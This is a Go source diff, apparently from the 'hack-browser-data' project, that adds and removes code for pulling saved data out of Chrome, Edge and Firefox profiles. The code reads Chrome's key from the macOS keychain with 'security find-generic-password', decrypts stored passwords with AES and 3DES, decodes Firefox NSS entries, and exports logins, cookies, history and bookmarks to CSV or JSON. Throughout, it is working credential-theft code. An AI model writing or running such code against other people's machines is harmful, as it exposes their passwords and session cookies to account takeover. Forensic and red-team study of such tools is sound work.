| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"crypto/des" | ||||
| 	"encoding/asn1" | ||||
| 	"errors" | ||||
| 	"hack-browser-data/log" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errKeyIsEmpty      = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") | ||||
| 	errPasswordIsEmpty = errors.New("password is empty") | ||||
| 	errDecryptFailed   = errors.New("decrypt failed, password is empty") | ||||
| ) | ||||
| 
 | ||||
| func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return []byte{}, err | ||||
| 	} | ||||
| 	dst := make([]byte, len(encryptPass)) | ||||
| 	mode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	mode.CryptBlocks(dst, encryptPass) | ||||
| 	dst = PKCS5UnPadding(dst) | ||||
| 	return dst, nil | ||||
| } | ||||
| 
 | ||||
| func PKCS5UnPadding(src []byte) []byte { | ||||
| 	length := len(src) | ||||
| 	unpad := int(src[length-1]) | ||||
| 	return src[:(length - unpad)] | ||||
| } | ||||
| func Des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { | ||||
| 	block, err := des.NewTripleDESCipher(key) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	blockMode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	sq := make([]byte, len(src)) | ||||
| 	blockMode.CryptBlocks(sq, src) | ||||
| 	return sq, nil | ||||
| } | ||||
| 
 | ||||
| func PaddingZero(s []byte, l int) []byte { | ||||
| 	h := l - len(s) | ||||
| 	if h <= 0 { | ||||
| 		return s | ||||
| 	} else { | ||||
| 		for i := len(s); i < l; i++ { | ||||
| 			s = append(s, 0) | ||||
| 		} | ||||
| 		return s | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| /* | ||||
| SEQUENCE (3 elem) | ||||
| 	OCTET STRING (16 byte) | ||||
| 	SEQUENCE (2 elem) | ||||
| 		OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm) | ||||
| 		OCTET STRING (8 byte) | ||||
| 	OCTET STRING (16 byte) | ||||
| */ | ||||
| type LoginPBE struct { | ||||
| 	CipherText []byte | ||||
| 	SequenceLogin | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type SequenceLogin struct { | ||||
| 	asn1.ObjectIdentifier | ||||
| 	Iv []byte | ||||
| } | ||||
| 
 | ||||
| func DecodeLogin(decodeItem []byte) (pbe LoginPBE, err error) { | ||||
| 	_, err = asn1.Unmarshal(decodeItem, &pbe) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return | ||||
| 	} | ||||
| 	return pbe, nil | ||||
| } | ||||
| @ -0,0 +1,115 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/hmac" | ||||
| 	"crypto/sha1" | ||||
| 	"encoding/asn1" | ||||
| 	"hack-browser-data/log" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| ) | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(key) == 0 { | ||||
| 			return nil, errKeyIsEmpty | ||||
| 		} | ||||
| 		m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) | ||||
| 		return m, err | ||||
| 	} else { | ||||
| 		return nil, errDecryptFailed | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| /* | ||||
| SEQUENCE (2 elem) | ||||
| 	SEQUENCE (2 elem) | ||||
| 		OBJECT IDENTIFIER | ||||
| 		SEQUENCE (2 elem) | ||||
| 			OCTET STRING (20 byte) | ||||
| 			INTEGER 1 | ||||
| 	OCTET STRING (16 byte) | ||||
| */ | ||||
| 
 | ||||
| type NssPBE struct { | ||||
| 	SequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type MetaPBE struct { | ||||
| 	SequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type SequenceA struct { | ||||
| 	DecryptMethod asn1.ObjectIdentifier | ||||
| 	SequenceB | ||||
| } | ||||
| 
 | ||||
| type SequenceB struct { | ||||
| 	EntrySalt []byte | ||||
| 	Len       int | ||||
| } | ||||
| 
 | ||||
| func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) { | ||||
| 	_, err = asn1.Unmarshal(metaBytes, &pbe) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return | ||||
| 	} | ||||
| 	return | ||||
| } | ||||
| 
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| 
 | ||||
| func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { | ||||
| 	_, err = asn1.Unmarshal(nssA11Bytes, &pbe) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return | ||||
| 	} | ||||
| 	return | ||||
| } | ||||
| 
 | ||||
| func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { | ||||
| 	return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { | ||||
| 	return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) { | ||||
| 	//byte[] GLMP; // GlobalSalt + MasterPassword
 | ||||
| 	//byte[] HP; // SHA1(GLMP)
 | ||||
| 	//byte[] HPES; // HP + EntrySalt
 | ||||
| 	//byte[] CHP; // SHA1(HPES)
 | ||||
| 	//byte[] PES; // EntrySalt completed to 20 bytes by zero
 | ||||
| 	//byte[] PESES; // PES + EntrySalt
 | ||||
| 	//byte[] k1;
 | ||||
| 	//byte[] tk;
 | ||||
| 	//byte[] k2;
 | ||||
| 	//byte[] k; // final value conytaining key and iv
 | ||||
| 	glmp := append(globalSalt, masterPwd...) | ||||
| 	hp := sha1.Sum(glmp) | ||||
| 	s := append(hp[:], entrySalt...) | ||||
| 	chp := sha1.Sum(s) | ||||
| 	pes := PaddingZero(entrySalt, 20) | ||||
| 	tk := hmac.New(sha1.New, chp[:]) | ||||
| 	tk.Write(pes) | ||||
| 	pes = append(pes, entrySalt...) | ||||
| 	k1 := hmac.New(sha1.New, chp[:]) | ||||
| 	k1.Write(pes) | ||||
| 	tkPlus := append(tk.Sum(nil), entrySalt...) | ||||
| 	k2 := hmac.New(sha1.New, chp[:]) | ||||
| 	k2.Write(tkPlus) | ||||
| 	k := append(k1.Sum(nil), k2.Sum(nil)...) | ||||
| 	iv := k[len(k)-8:] | ||||
| 	key := k[:24] | ||||
| 	log.Debug("get firefox pbe key and iv success") | ||||
| 	return Des3Decrypt(key, iv, encrypted) | ||||
| } | ||||
| @ -1,156 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"encoding/json" | ||||
| 	"fmt" | ||||
| 	"hack-browser-data/log" | ||||
| 	"hack-browser-data/utils" | ||||
| 	"os" | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"github.com/jszwec/csvutil" | ||||
| ) | ||||
| 
 | ||||
| var utf8Bom = []byte{239, 187, 191} | ||||
| 
 | ||||
| func (b BrowserData) OutPutCsv(dir, browser, format string) error { | ||||
| 	switch { | ||||
| 	case len(b.BookmarkSlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail %s", filename, err) | ||||
| 		} | ||||
| 		file.Write(utf8Bom) | ||||
| 		data, err := csvutil.Marshal(b.BookmarkSlice) | ||||
| 		file.Write(data) | ||||
| 		fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.LoginDataSlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.LoginData, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		file.Write(utf8Bom) | ||||
| 		data, err := csvutil.Marshal(b.LoginDataSlice) | ||||
| 		file.Write(data) | ||||
| 		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.CookieMap) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.Cookies, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		var tempSlice []cookies | ||||
| 		for _, v := range b.CookieMap { | ||||
| 			tempSlice = append(tempSlice, v...) | ||||
| 		} | ||||
| 		file.Write(utf8Bom) | ||||
| 		data, err := csvutil.Marshal(tempSlice) | ||||
| 		file.Write(data) | ||||
| 		fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.HistorySlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.History, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		file.Write(utf8Bom) | ||||
| 		data, err := csvutil.Marshal(b.HistorySlice) | ||||
| 		file.Write(data) | ||||
| 		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.HistorySlice), filename) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (b BrowserData) OutPutJson(dir, browser, format string) error { | ||||
| 	switch { | ||||
| 	case len(b.BookmarkSlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		w := new(bytes.Buffer) | ||||
| 		enc := json.NewEncoder(w) | ||||
| 		enc.SetEscapeHTML(false) | ||||
| 		enc.SetIndent("", "\t") | ||||
| 		enc.Encode(b.BookmarkSlice) | ||||
| 		file.Write(w.Bytes()) | ||||
| 		fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.CookieMap) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.Cookies, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		w := new(bytes.Buffer) | ||||
| 		enc := json.NewEncoder(w) | ||||
| 		enc.SetEscapeHTML(false) | ||||
| 		enc.SetIndent("", "\t") | ||||
| 		err = enc.Encode(b.CookieMap) | ||||
| 		if err != nil { | ||||
| 			log.Debug(err) | ||||
| 		} | ||||
| 		file.Write(w.Bytes()) | ||||
| 		fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.HistorySlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.History, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		w := new(bytes.Buffer) | ||||
| 		enc := json.NewEncoder(w) | ||||
| 		enc.SetEscapeHTML(false) | ||||
| 		enc.SetIndent("", "\t") | ||||
| 		err = enc.Encode(b.HistorySlice) | ||||
| 		if err != nil { | ||||
| 			log.Debug(err) | ||||
| 		} | ||||
| 		file.Write(w.Bytes()) | ||||
| 		fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(b.HistorySlice), filename) | ||||
| 		fallthrough | ||||
| 	case len(b.LoginDataSlice) != 0: | ||||
| 		filename := utils.FormatFileName(dir, browser, utils.LoginData, format) | ||||
| 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 		defer file.Close() | ||||
| 		if err != nil { | ||||
| 			log.Errorf("create file %s fail", filename) | ||||
| 		} | ||||
| 		w := new(bytes.Buffer) | ||||
| 		enc := json.NewEncoder(w) | ||||
| 		enc.SetEscapeHTML(false) | ||||
| 		enc.SetIndent("", "\t") | ||||
| 		err = enc.Encode(b.LoginDataSlice) | ||||
| 		if err != nil { | ||||
| 			log.Debug(err) | ||||
| 		} | ||||
| 		file.Write(w.Bytes()) | ||||
| 		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (b BrowserData) Sorted() { | ||||
| 	sort.Slice(b.BookmarkSlice, func(i, j int) bool { | ||||
| 		return b.BookmarkSlice[i].ID < b.BookmarkSlice[j].ID | ||||
| 	}) | ||||
| 	sort.Slice(b.HistorySlice, func(i, j int) bool { | ||||
| 		return b.HistorySlice[i].VisitCount > b.HistorySlice[j].VisitCount | ||||
| 	}) | ||||
| 	sort.Sort(b.LoginDataSlice) | ||||
| } | ||||
| @ -1,13 +0,0 @@ | ||||
| package core | ||||
| 
 | ||||
| func (l LoginDataSlice) Len() int { | ||||
| 	return len(l) | ||||
| } | ||||
| 
 | ||||
| func (l LoginDataSlice) Less(i, j int) bool { | ||||
| 	return l[i].CreateDate.After(l[j].CreateDate) | ||||
| } | ||||
| 
 | ||||
| func (l LoginDataSlice) Swap(i, j int) { | ||||
| 	l[i], l[j] = l[j], l[i] | ||||
| } | ||||
| @ -1,190 +0,0 @@ | ||||
| package utils | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/hmac" | ||||
| 	"crypto/sha1" | ||||
| 	"encoding/asn1" | ||||
| 	"encoding/hex" | ||||
| 	"errors" | ||||
| 	"hack-browser-data/log" | ||||
| 	"os/exec" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeProfilePath  = "/Users/*/Library/Application Support/Google/Chrome/*/" | ||||
| 	chromeCommand      = "Chrome" | ||||
| 	edgeProfilePath    = "/Users/*/Library/Application Support/Microsoft Edge/*/" | ||||
| 	edgeCommand        = "Microsoft Edge" | ||||
| 	fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" | ||||
| 	fireFoxCommand     = "" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	iv          = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| 	command     = []string{"security", "find-generic-password", "-wa"} | ||||
| 	chromeSalt  = []byte("saltysalt") | ||||
| 	chromeKey   []byte | ||||
| 	browserList = map[string]struct { | ||||
| 		ProfilePath string | ||||
| 		Command     string | ||||
| 	}{ | ||||
| 		"chrome": { | ||||
| 			chromeProfilePath, | ||||
| 			chromeCommand, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			edgeProfilePath, | ||||
| 			edgeCommand, | ||||
| 		}, | ||||
| 		"firefox": { | ||||
| 			fireFoxProfilePath, | ||||
| 			fireFoxCommand, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| func DecryptStringWithDPAPI(data []byte) (string, error) { | ||||
| 	return string(data), nil | ||||
| } | ||||
| 
 | ||||
| func PickBrowser(name string) (browserDir, command string, err error) { | ||||
| 	name = strings.ToLower(name) | ||||
| 	if choice, ok := browserList[name]; ok { | ||||
| 		return choice.ProfilePath, choice.Command, err | ||||
| 	} | ||||
| 	return "", "", errBrowserNotSupported | ||||
| } | ||||
| 
 | ||||
| func InitKey(key string) error { | ||||
| 	var ( | ||||
| 		cmd            *exec.Cmd | ||||
| 		stdout, stderr bytes.Buffer | ||||
| 	) | ||||
| 	cmd = exec.Command(command[0], command[1], command[2], key) | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	err := cmd.Run() | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	if stderr.Len() > 0 { | ||||
| 		err = errors.New(stderr.String()) | ||||
| 		log.Error(err) | ||||
| 	} | ||||
| 	temp := stdout.Bytes() | ||||
| 	chromePass := temp[:len(temp)-1] | ||||
| 	decryptChromeKey(chromePass) | ||||
| 	return err | ||||
| } | ||||
| 
 | ||||
| func decryptChromeKey(chromePass []byte) { | ||||
| 	chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) | ||||
| } | ||||
| 
 | ||||
| func DecryptChromePass(encryptPass []byte) (string, error) { | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(chromeKey) == 0 { | ||||
| 			return "", errKeyIsEmpty | ||||
| 		} | ||||
| 		m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:]) | ||||
| 		return string(m), err | ||||
| 	} else { | ||||
| 		return "", &DecryptError{ | ||||
| 			err: errPasswordIsEmpty, | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| /* | ||||
| SEQUENCE (2 elem) | ||||
| 	SEQUENCE (2 elem) | ||||
| 		OBJECT IDENTIFIER | ||||
| 		SEQUENCE (2 elem) | ||||
| 			OCTET STRING (20 byte) | ||||
| 			INTEGER 1 | ||||
| 	OCTET STRING (16 byte) | ||||
| */ | ||||
| 
 | ||||
| type NssPBE struct { | ||||
| 	SequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type MetaPBE struct { | ||||
| 	SequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type SequenceA struct { | ||||
| 	DecryptMethod asn1.ObjectIdentifier | ||||
| 	SequenceB | ||||
| } | ||||
| 
 | ||||
| type SequenceB struct { | ||||
| 	EntrySalt []byte | ||||
| 	Len       int | ||||
| } | ||||
| 
 | ||||
| func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) { | ||||
| 	log.Debug(hex.EncodeToString(metaBytes)) | ||||
| 	_, err = asn1.Unmarshal(metaBytes, &pbe) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return | ||||
| 	} | ||||
| 	return | ||||
| } | ||||
| 
 | ||||
| func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { | ||||
| 	log.Debug(hex.EncodeToString(nssA11Bytes)) | ||||
| 	_, err = asn1.Unmarshal(nssA11Bytes, &pbe) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return | ||||
| 	} | ||||
| 	return | ||||
| } | ||||
| 
 | ||||
| func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { | ||||
| 	return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { | ||||
| 	return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) { | ||||
| 	//byte[] GLMP; // GlobalSalt + MasterPassword
 | ||||
| 	//byte[] HP; // SHA1(GLMP)
 | ||||
| 	//byte[] HPES; // HP + EntrySalt
 | ||||
| 	//byte[] CHP; // SHA1(HPES)
 | ||||
| 	//byte[] PES; // EntrySalt completed to 20 bytes by zero
 | ||||
| 	//byte[] PESES; // PES + EntrySalt
 | ||||
| 	//byte[] k1;
 | ||||
| 	//byte[] tk;
 | ||||
| 	//byte[] k2;
 | ||||
| 	//byte[] k; // final value conytaining key and iv
 | ||||
| 	glmp := append(globalSalt, masterPwd...) | ||||
| 	hp := sha1.Sum(glmp) | ||||
| 	s := append(hp[:], entrySalt...) | ||||
| 	chp := sha1.Sum(s) | ||||
| 	pes := PaddingZero(entrySalt, 20) | ||||
| 	tk := hmac.New(sha1.New, chp[:]) | ||||
| 	tk.Write(pes) | ||||
| 	pes = append(pes, entrySalt...) | ||||
| 	k1 := hmac.New(sha1.New, chp[:]) | ||||
| 	k1.Write(pes) | ||||
| 	tkPlus := append(tk.Sum(nil), entrySalt...) | ||||
| 	k2 := hmac.New(sha1.New, chp[:]) | ||||
| 	k2.Write(tkPlus) | ||||
| 	k := append(k1.Sum(nil), k2.Sum(nil)...) | ||||
| 	iv := k[len(k)-8:] | ||||
| 	key := k[:24] | ||||
| 	log.Warnf("key=%s iv=%s", hex.EncodeToString(key), hex.EncodeToString(iv)) | ||||
| 	return Des3Decrypt(key, iv, encrypted) | ||||
| } | ||||
					Loading…
					
					
				
		Reference in new issue